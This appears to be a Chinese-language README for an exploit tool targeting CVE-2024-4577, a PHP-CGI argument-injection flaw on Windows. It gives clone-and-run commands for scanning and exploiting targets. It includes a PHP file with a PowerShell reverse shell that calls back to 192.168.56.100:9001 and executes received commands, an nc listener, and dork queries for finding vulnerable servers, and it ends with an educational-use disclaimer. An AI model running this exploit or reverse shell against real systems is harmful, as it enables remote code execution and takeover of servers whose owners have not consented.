在 PHP 8.1.* 至 8.1.29 之前、8.2.* 至 8.2.20 之前、8.3.* 至 8.3.8 之前的版本中,当在 Windows 上使用 Apache 和 PHP-CGI 时,如果系统设置为使用某些代码页,Windows 可能使用“最佳匹配”行为来替换传递给 Win32 API 函数的命令行中的字符。PHP CGI 模块可能会将这些字符误解为 PHP 选项,从而允许恶意用户向正在运行的 PHP 二进制文件传递选项,进而泄露脚本源代码、在服务器上执行任意 PHP 代码等。
"XAMPP 在默认配置下存在漏洞,我们可以针对 /php-cgi/php-cgi.exe 端点。要利用某个 .php 端点(例如 /index.php),服务器必须配置为以 CGI 模式运行 PHP 脚本。"
$ git clone https://github.com/fa-rrel/CVE-2024-4577-RCE/
$ cd CVE-2024-4577-RCE && pip install -r requirements.txt
$ python3 CVE-2024-4577.py -s -t https://target.com/
[!NOTE] 此工具展示真实的攻击和技术(TTPs)。但此特定载荷样本在此场景中无法正常运行。请修改 shell.php 以获得完全有效的载荷。
# rev_shell.php
<?php
$payload = "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('192.168.56.100', 9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\";
exec($payload);
?>
$ python3 CVE-2024-4577.py -s -t https://target.com/
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning
[+] Target https://target.com is vulnerable to CVE-2024-4577
$ python3 CVE-2024-4577.py -t {targetsite.txt} -e -p rev_shell.php
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning
[+] Exploit successful!
$ nc -lvnp 9001
server: PHP 8.1, server: PHP 8.2, server: PHP 8.3protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"此工具仅用于教育和研究目的。创建者对因使用本工具而产生的任何误用或损坏不承担任何责任。